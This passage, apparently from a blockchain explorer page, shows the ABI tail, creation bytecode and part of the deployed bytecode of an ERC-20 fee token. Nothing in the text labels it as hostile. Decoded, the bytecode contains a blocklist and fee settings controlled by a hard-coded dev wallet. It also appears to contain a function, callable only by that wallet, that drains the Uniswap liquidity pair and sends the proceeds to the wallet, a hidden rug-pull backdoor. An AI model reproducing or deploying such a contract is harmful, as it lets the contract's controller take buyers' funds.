der","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526007805460ff60a81b1916600160a81b179055600d805462ffffff191660011790556010805461ffff19166101001790553480156200004257600080fd5b506040518060400160405280600b81526020016a2a37902a32b41026b7b7b760a91b8152506040518060400160405280600381526020016254544d60e81b81525081600390805190602001906200009b929190620007e6565b508051620000b1906004906020840190620007e6565b5050506000620000c6620004f960201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d62000136816001620004fd565b600680546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b1580156200018b57600080fd5b505afa158015620001a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c691906200088c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200020f57600080fd5b505afa15801562000224573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024a91906200088c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200029357600080fd5b505af1158015620002a8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ce91906200088c565b600780546001600160a01b0319166001600160a01b03929092169182179055620002fa906001620004fd565b60075462000313906001600160a01b0316600162000577565b600080808080806a084595161401484a000000606462000335826005620008f5565b620003419190620008d2565b600a55606462000353826005620008f5565b6200035f9190620008d2565b600c5561271062000372826005620008f5565b6200037e9190620008d2565b600b55600880546001600160a01b0319167318cce6add0fefdd566be894357303ccf13d896d5179055601b879055601c869055601d85905584620003c38789620008b7565b620003cf9190620008b7565b601a5560178490556018839055601982905581620003ee8486620008b7565b620003fa9190620008b7565b601655600980546001600160a01b0319167318cce6add0fefdd566be894357303ccf13d896d517905562000430306001620004fd565b60085462000449906001600160a01b03166001620004fd565b60095462000462906001600160a01b03166001620004fd565b62000481620004796005546001600160a01b031690565b6001620004fd565b6008546200049a906001600160a01b03166001620005ca565b620004a7306001620005ca565b600954620004c0906001600160a01b03166001620005ca565b620004df620004d76005546001600160a01b031690565b6001620005ca565b620004eb338262000674565b50505050505050506200096a565b3390565b6005546001600160a01b031633146200054c5760405162461bcd60e51b8152602060048201819052602482015260008051602062002f5583398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6001600160a01b0382166000818152602080526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620006155760405162461bcd60e51b8152602060048201819052602482015260008051602062002f55833981519152604482015260640162000543565b6001600160a01b0382166000818152601e6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b038216620006d85760405162461bcd60e51b815260206004820152602360248201527f45524332303a2048616368696d616e20746f20746865207a65726f206164647260448201526265737360e81b606482015260840162000543565b620006f4816002546200077c60201b620012ce1790919060201c565b6002556001600160a01b0382166000908152602081815260409091205462000727918390620012ce6200077c821b17901c565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6000806200078b8385620008b7565b905083811015620007df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640162000543565b9392505050565b828054620007f49062000917565b90600052602060002090601f01602090048101928262000818576000855562000863565b82601f106200083357805160ff191683800117855562000863565b8280016001018555821562000863579182015b828111156200086357825182559160200191906001019062000846565b506200087192915062000875565b5090565b5b8082111562000871576000815560010162000876565b6000602082840312156200089f57600080fd5b81516001600160a01b0381168114620007df57600080fd5b60008219821115620008cd57620008cd62000954565b500190565b600082620008f057634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161562000912576200091262000954565b500290565b600181811c908216806200092c57607f821691505b602082108114156200094e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6125db806200097a6000396000f3fe6080604052600436106102b25760003560e01c80639213691311610175578063c0246668116100dc578063e2f4560511610095578063f2fde38b1161006f578063f2fde38b1461084f578063f3d6b3661461086f578063f63743421461088f578063f8b45b05146108a557600080fd5b8063e2f456051461080e578063e884f26014610824578063f11a24d31461083957600080fd5b8063c024666814610742578063c624095014610762578063c876d0b914610782578063c8c8ebe41461079c578063d85ba063146107b2578063dd62ed3e146107c857600080fd5b8063a457c2d71161012e578063a457c2d714610674578063a649056214610694578063a9059cbb146106b4578063b107668b146106d4578063b62496f5146106f4578063bbc0c7421461072357600080fd5b806392136913146105e757806395d89b41146105fd5780639a7a23d6146106125780639c3b4fdc146106325780639fccce3214610648578063a0d82dc51461065e57600080fd5b80634a62bb6511610219578063751039fc116101d2578063751039fc1461053e5780637571336a146105535780637bce5a041461057357806382aa7c68146105895780638da5cb5b146105a95780638ea5220f146105c757600080fd5b80634a62bb65146104685780634fbee193146104825780636a486a8e146104bb5780636ddd1713146104d157806370a08231146104f1578063715018a61461052757600080fd5b80631a8145bb1161026b5780631a8145bb146103c05780631f3fed8f146103d657806323b872dd146103ec578063313ce5671461040c578063395093511461042857806349bd5a5e1461044857600080fd5b806306fdde03146102be578063095ea7b3146102e957806309e89af71461031957806310d5de53146103395780631694505e1461036957806318160ddd146103a157600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102d36108bb565b6040516102e091906121b6565b60405180910390f35b3480156102f557600080fd5b50610309610304366004612145565b61094d565b60405190151581526020016102e0565b34801561032557600080fd5b50610309610334366004612171565b610964565b34801561034557600080fd5b5061030961035436600461205e565b601f6020526000908152604090205460ff1681565b34801561037557600080fd5b50600654610389906001600160a01b031681565b6040516001600160a01b0390911681526020016102e0565b3480156103ad57600080fd5b506002545b6040519081526020016102e0565b3480156103cc57600080fd5b506103b260145481565b3480156103e257600080fd5b506103b260135481565b3480156103f857600080fd5b506103096104073660046120d1565b610abf565b34801561041857600080fd5b50604051601281526020016102e0565b34801561043457600080fd5b50610309610443366004612145565b610b28565b34801561045457600080fd5b50600754610389906001600160a01b031681565b34801561047457600080fd5b50600d546103099060ff1681565b34801561048e57600080fd5b5061030961049d36600461205e565b6001600160a01b03166000908152601e602052604090205460ff1690565b3480156104c757600080fd5b506103b260165481565b3480156104dd57600080fd5b50600d546103099062010000900460ff1681565b3480156104fd57600080fd5b506103b261050c36600461205e565b6001600160a01b031660009081526020819052604090205490565b34801561053357600080fd5b5061053c610b5e565b005b34801561054a57600080fd5b50610309610bd2565b34801561055f57600080fd5b5061053c61056e366004612112565b610c0f565b34801561057f57600080fd5b506103b2601b5481565b34801561059557600080fd5b5061053c6105a4366004612171565b610c64565b3480156105b557600080fd5b506005546001600160a01b0316610389565b3480156105d357600080fd5b50600954610389906001600160a01b031681565b3480156105f357600080fd5b506103b260175481565b34801561060957600080fd5b506102d3610d94565b34801561061e57600080fd5b5061053c61062d366004612112565b610da3565b34801561063e57600080fd5b506103b2601d5481565b34801561065457600080fd5b506103b260155481565b34801561066a57600080fd5b506103b260195481565b34801561068057600080fd5b5061030961068f366004612145565b610e5f565b3480156106a057600080fd5b50600854610389906001600160a01b031681565b3480156106c057600080fd5b506103096106cf366004612145565b610eae565b3480156106e057600080fd5b5061053c6106ef366004612171565b610ebb565b34801561070057600080fd5b5061030961070f36600461205e565b602080526000908152604090205460ff1681565b34801561072f57600080fd5b50600d5461030990610100900460ff1681565b34801561074e57600080fd5b5061053c61075d366004612112565b610f54565b34801561076e57600080fd5b5061053c61077d366004612171565b610fdd565b34801561078e57600080fd5b506010546103099060ff1681565b3480156107a857600080fd5b506103b2600a5481565b3480156107be57600080fd5b506103b2601a5481565b3480156107d457600080fd5b506103b26107e3366004612098565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561081a57600080fd5b506103b2600b5481565b34801561083057600080fd5b50610309611120565b34801561084557600080fd5b506103b2601c5481565b34801561085b57600080fd5b5061053c61086a36600461205e565b61115d565b34801561087b57600080fd5b5061053c61088a36600461218a565b611248565b34801561089b57600080fd5b506103b260185481565b3480156108b157600080fd5b506103b2600c5481565b6060600380546108ca90612489565b80601f01602080910402602001604051908101604052809291908181526020018280546108f690612489565b80156109435780601f1061091857610100808354040283529160200191610943565b820191906000526020600020905b81548152906001019060200180831161092657829003601f168201915b5050505050905090565b600061095a338484611334565b5060015b92915050565b6005546000906001600160a01b0316331461099a5760405162461bcd60e51b81526004016109919061224e565b60405180910390fd5b620186a06109a760025490565b6109b2906001612453565b6109bc9190612351565b821015610a295760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610991565b6103e8610a3560025490565b610a40906005612453565b610a4a9190612351565b821115610ab65760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b6064820152608401610991565b50600b55600190565b6000610acc848484611459565b610b1e8433610b1985604051806060016040528060288152602001612559602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611b1a565b611334565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161095a918590610b1990866112ce565b6005546001600160a01b03163314610b885760405162461bcd60e51b81526004016109919061224e565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610bff5760405162461bcd60e51b81526004016109919061224e565b50600d805460ff19169055600190565b6005546001600160a01b03163314610c395760405162461bcd60e51b81526004016109919061224e565b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610c8e5760405162461bcd60e51b81526004016109919061224e565b6001811115610cd45760405162461bcd60e51b8152602060048201526012602482015271646f6e27742063617463682068756d616e7360701b6044820152606401610991565b600d805462ff0000191662010000179055601054610100900460ff161515600114610d2a5760405162461bcd60e51b815260040161099190602080825260049082015263646f6e6560e01b604082015260600190565b6010805461ff0019169055610d518143601155601255600d805461ff001916610100179055565b60105460405161010090910460ff16151581527fbd657b4e94b205761f2ca5be9988d7b243c828f625c0746c6581ec528e507c479060200160405180910390a150565b6060600480546108ca90612489565b6005546001600160a01b03163314610dcd5760405162461bcd60e51b81526004016109919061224e565b6007546001600160a01b0383811691161415610e515760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610991565b610e5b8282611b54565b5050565b600061095a3384610b1985604051806060016040528060258152602001612581602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611b1a565b600061095a338484611459565b6008546001600160a01b03163314610ed257600080fd5b6103e8610ede60025490565b610ee89190612351565b811015610f4f5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610991565b600a55565b6005546001600160a01b03163314610f7e5760405162461bcd60e51b81526004016109919061224e565b6001600160a01b0382166000818152601e6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6008546001600160a01b03163314610ff457600080fd5b6007546001600160a01b0316600090815260208190526040902054600181111561103957600754611039906001600160a01b031630611034600185612472565b611459565b600760009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561108957600080fd5b505af115801561109d573d6000803e3d6000fd5b505050506110c66110ac601290565b6110b790600a6123a8565b6110c19084612453565b611ba7565b6008546040516000916001600160a01b03169047908381818185875af1925050503d8060008114611113576040519150601f19603f3d011682016040523d82523d6000602084013e611118565b606091505b505050505050565b6005546000906001600160a01b0316331461114d5760405162461bcd60e51b81526004016109919061224e565b506010805460ff19169055600190565b6005546001600160a01b031633146111875760405162461bcd60e51b81526004016109919061224e565b6001600160a01b0381166111ec5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610991565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6008546001600160a01b0316331461125f57600080fd5b601783905560188290556019819055806112798385612339565b6112839190612339565b6016819055606410156112c95760405162461bcd60e51b815260206004820152600e60248201526d4d757374206b656570206665657360901b6044820152606401610991565b505050565b6000806112db8385612339565b90508381101561132d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610991565b9392505050565b6001600160a01b0383166113965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610991565b6001600160a01b0382166113f75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610991565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661147f5760405162461bcd60e51b815260040161099190612283565b6001600160a01b0382166114a55760405162461bcd60e51b81526004016109919061220b565b6001600160a01b0383166000908152600e602052604090205460ff161580156114e757506001600160a01b0382166000908152600e602052604090205460ff16155b6114f057600080fd5b80611501576112c983836000611d08565b600d5460ff1615611781576005546001600160a01b0384811691161480159061153857506005546001600160a01b03838116911614155b801561154c57506001600160a01b03821615155b801561156357506001600160a01b03821661dead14155b80156115795750600754600160a01b900460ff16155b1561178157600d54610100900460ff16611611576001600160a01b0383166000908152601e602052604090205460ff16806115cc57506001600160a01b0382166000908152601e602052604090205460ff165b6116115760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610991565b6001600160a01b038316600090815260208052604090205460ff16801561165157506001600160a01b0382166000908152601f602052604090205460ff16155b156116cb57600a548111156116c65760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b6064820152608401610991565b611781565b6001600160a01b038216600090815260208052604090205460ff16801561170b57506001600160a01b0383166000908152601f602052604090205460ff16155b1561178157600a548111156117815760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b6064820152608401610991565b30600090815260208190526040902054600b54811080159081906117ad5750600d5462010000900460ff165b80156117c35750600754600160a01b900460ff16155b80156117e757506001600160a01b038516600090815260208052604090205460ff16155b801561180c57506001600160a01b0385166000908152601e602052604090205460ff16155b801561183157506001600160a01b0384166000908152601e602052604090205460ff16155b1561185f576007805460ff60a01b1916600160a01b179055611851611e11565b6007805460ff60a01b191690555b6007546001600160a01b0386166000908152601e602052604090205460ff600160a01b9092048216159116806118ad57506001600160a01b0385166000908152601e602052604090205460ff165b156118b6575060005b60008115611b06576001600160a01b038616600090815260208052604090205460ff1680156118e757506000601654115b15611a0c5761190c606461190660165488611f2d90919063ffffffff16565b90611fac565b90506016546018548261191f9190612453565b6119299190612351565b6014600082825461193a9190612339565b909155505060165460195461194f9083612453565b6119599190612351565b6015600082825461196a9190612339565b909155505060165460175461197f9083612453565b6119899190612351565b6013600082825461199a9190612339565b9091555050600a546119ae906002906124c4565b15611a075760405162461bcd60e51b8152602060048201526024808201527f4552524f523a204d757374206265206c657373207468616e206d61785478416d6044820152631bdd5b9d60e21b6064820152608401610991565b611ae8565b6001600160a01b038716600090815260208052604090205460ff168015611a3557506000601a54115b15611ae857611a546064611906601a5488611f2d90919063ffffffff16565b9050601a54601c5482611a679190612453565b611a719190612351565b60146000828254611a829190612339565b9091555050601a54601d54611a979083612453565b611aa19190612351565b60156000828254611ab29190612339565b9091555050601a54601b54611ac79083612453565b611ad19190612351565b60136000828254611ae29190612339565b90915550505b8015611af957611af9873083611d08565b611b038186612472565b94505b611b11878787611d08565b50505050505050565b60008184841115611b3e5760405162461bcd60e51b815260040161099191906121b6565b506000611b4b8486612472565b95945050505050565b6001600160a01b0382166000818152602080526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611bdc57611bdc612504565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611c3057600080fd5b505afa158015611c44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c68919061207b565b81600181518110611c7b57611c7b612504565b6001600160a01b039283166020918202929092010152600654611ca19130911684611334565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611cda9085906000908690309042906004016122c8565b600060405180830381600087803b158015611cf457600080fd5b505af1158015611118573d6000803e3d6000fd5b6001600160a01b038316611d2e5760405162461bcd60e51b815260040161099190612283565b6001600160a01b038216611d545760405162461bcd60e51b81526004016109919061220b565b611d9181604051806060016040528060268152602001612533602691396001600160a01b0386166000908152602081905260409020549190611b1a565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611dc090826112ce565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161144c565b3060009081526020819052604081205490506000601554601354601454611e389190612339565b611e429190612339565b90506000821580611e51575081155b15611e5b57505050565b600b54611e69906014612453565b831115611e8157600b54611e7e906014612453565b92505b600060028360145486611e949190612453565b611e9e9190612351565b611ea89190612351565b90506000611eb68583611fee565b9050611ec181611ba7565b60006014819055601381905560158190556008546040516001600160a01b039091169147919081818185875af1925050503d8060008114611f1e576040519150601f19603f3d011682016040523d82523d6000602084013e611f23565b606091505b5050505050505050565b600082611f3c5750600061095e565b6000611f488385612453565b905082611f558583612351565b1461132d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610991565b600061132d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612030565b600061132d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b1a565b600081836120515760405162461bcd60e51b815260040161099191906121b6565b506000611b4b8486612351565b60006020828403121561207057600080fd5b813561132d8161251a565b60006020828403121561208d57600080fd5b815161132d8161251a565b600080604083850312156120ab57600080fd5b82356120b68161251a565b915060208301356120c68161251a565b809150509250929050565b6000806000606084860312156120e657600080fd5b83356120f18161251a565b925060208401356121018161251a565b929592945050506040919091013590565b6000806040838503121561212557600080fd5b82356121308161251a565b9150602083013580151581146120c657600080fd5b6000806040838503121561215857600080fd5b82356121638161251a565b946020939093013593505050565b60006020828403121561218357600080fd5b5035919050565b60008060006060848603121561219f57600080fd5b505081359360208301359350604090920135919050565b600060208083528351808285015260005b818110156121e3578581018301518582016040015282016121c7565b818111156121f5576000604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156123185784516001600160a01b0316835293830193918301916001016122f3565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561234c5761234c6124d8565b500190565b600082612360576123606124ee565b500490565b600181815b808511156123a0578160001904821115612386576123866124d8565b8085161561239357918102915b93841c939080029061236a565b509250929050565b600061132d60ff8416836000826123c15750600161095e565b816123ce5750600061095e565b81600181146123e457600281146123ee5761240a565b600191505061095e565b60ff8411156123ff576123ff6124d8565b50506001821b61095e565b5060208310610133831016604e8410600b841016171561242d575081810a61095e565b6124378383612365565b806000190482111561244b5761244b6124d8565b029392505050565b600081600019048311821515161561246d5761246d6124d8565b500290565b600082821015612484576124846124d8565b500390565b600181811c9082168061249d57607f821691505b602082108114156124be57634e487b7160e01b600052602260045260246000fd5b50919050565b6000826124d3576124d36124ee565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461252f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202c6efec2307c0fc5cd58c5a8ee6910e6a9577a034b4628d8f763691bd3f2e8d264736f6c634300080700334f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572

Deployed Bytecode

0x6080604052600436106102b25760003560e01c80639213691311610175578063c0246668116100dc578063e2f4560511610095578063f2fde38b1161006f578063f2fde38b1461084f578063f3d6b3661461086f578063f63743421461088f578063f8b45b05146108a557600080fd5b8063e2f456051461080e578063e884f26014610824578063f11a24d31461083957600080fd5b8063c024666814610742578063c624095014610762578063c876d0b914610782578063c8c8ebe41461079c578063d85ba063146107b2578063dd62ed3e146107c857600080fd5b8063a457c2d71161012e578063a457c2d714610674578063a649056214610694578063a9059cbb146106b4578063b107668b146106d4578063b62496f5146106f4578063bbc0c7421461072357600080fd5b806392136913146105e757806395d89b41146105fd5780639a7a23d6146106125780639c3b4fdc146106325780639fccce3214610648578063a0d82dc51461065e57600080fd5b80634a62bb6511610219578063751039fc116101d2578063751039fc1461053e5780637571336a146105535780637bce5a041461057357806382aa7c68146105895780638da5cb5b146105a95780638ea5220f146105c757600080fd5b80634a62bb65146104685780634fbee193146104825780636a486a8e146104bb5780636ddd1713146104d157806370a08231146104f1578063715018a61461052757600080fd5b80631a8145bb1161026b5780631a8145bb146103c05780631f3fed8f146103d657806323b872dd146103ec578063313ce5671461040c578063395093511461042857806349bd5a5e1461044857600080fd5b806306fdde03146102be578063095ea7b3146102e957806309e89af71461031957806310d5de53146103395780631694505e1461036957806318160ddd146103a157600080fd5b366102b957005b600080fd5b3480156102ca57600080fd5b506102d36108bb565b6040516102e091906121b6565b60405180910390f35b3480156102f557600080fd5b50610309610304366004612145565b61094d565b60405190151581526020016102e0565b34801561032557600080fd5b50610309610334366004612171565b610964565b34801561034557600080fd5b5061030961035436600461205e565b601f6020526000908152604090205460ff1681565b34801561037557600080fd5b50600654610389906001600160a01b031681565b6040516001600160a01b0390911681526020016102e0565b3480156103ad57600080fd5b506002545b6040519081526020016102e0565b3480156103cc57600080fd5b506103b260145481565b3480156103e257600080fd5b506103b260135481565b3480156103f857600080fd5b506103096104073660046120d1565b610abf565b34801561041857600080fd5b50604051601281526020016102e0565b34801561043457600080fd5b50610309610443366004612145565b610b28565b34801561045457600080fd5b50600754610389906001600160a01b031681565b34801561047457600080fd5b50600d546103099060ff1681565b34801561048e57600080fd5b5061030961049d36600461205e565b6001600160a01b03166000908152601e602052604090205460ff1690565b3480156104c757600080fd5b506103b260165481565b3480156104dd57600080fd5b50600d546103099062010000900460ff1681565b3480156104fd57600080fd5b506103b261050c36600461205e565b6001600160a01b031660009081526020819052604090205490565b34801561053357600080fd5b5061053c610b5e565b005b34801561054a57600080fd5b50610309610bd2565b34801561055f57600080fd5b5061053c61056e366004612112565b610c0f565b34801561057f57600080fd5b506103b2601b5481565b34801561059557600080fd5b5061053c6105a4366004612171565b610c64565b3480156105b557600080fd5b506005546001600160a01b0316610389565b3480156105d357600080fd5b50600954610389906001600160a01b031681565b3480156105f357600080fd5b506103b260175481565b34801561060957600080fd5b506102d3610d94565b34801561061e57600080fd5b5061053c61062d366004612112565b610da3565b34801561063e57600080fd5b506103b2601d5481565b34801561065457600080fd5b506103b260155481565b34801561066a57600080fd5b506103b260195481565b34801561068057600080fd5b5061030961068f366004612145565b610e5f565b3480156106a057600080fd5b50600854610389906001600160a01b031681565b3480156106c057600080fd5b506103096106cf366004612145565b610eae565b3480156106e057600080fd5b5061053c6106ef366004612171565b610ebb565b34801561070057600080fd5b5061030961070f36600461205e565b602080526000908152604090205460ff1681565b34801561072f57600080fd5b50600d5461030990610100900460ff1681565b34801561074e57600080fd5b5061053c61075d366004612112565b610f54565b34801561076e57600080fd5b5061053c61077d366004612171565b610fdd565b34801561078e57600080fd5b506010546103099060ff1681565b3480156107a857600080fd5b506103b2600a5481565b3480156107be57600080fd5b506103b2601a5481565b3480156107d457600080fd5b506103b26107e3366004612098565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561081a57600080fd5b506103b2600b5481565b34801561083057600080fd5b50610309611120565b34801561084557600080fd5b506103b2601c5481565b34801561085b57600080fd5b5061053c61086a36600461205e565b61115d565b34801561087b57600080fd5b5061053c61088a36600461218a565b611248565b34801561089b57600080fd5b506103b260185481565b3480156108b157600080fd5b506103b2600c5481565b6060600380546108ca90612489565b80601f01602080910402602001604051908101604052809291908181526020018280546108f690612489565b80156109435780601f1061091857610100808354040283529160200191610943565b820191906000526020600020905b81548152906001019060200180831161092657829003601f168201915b5050505050905090565b600061095a338484611334565b5060015b92915050565b6005546000906001600160a01b0316331461099a5760405162461bcd60e51b81526004016109919061224e565b60405180910390fd5b620186a06109a760025490565b6109b2906001612453565b6109bc9190612351565b821015610a295760405162461bcd60e51b815260206004820152603560248201527f537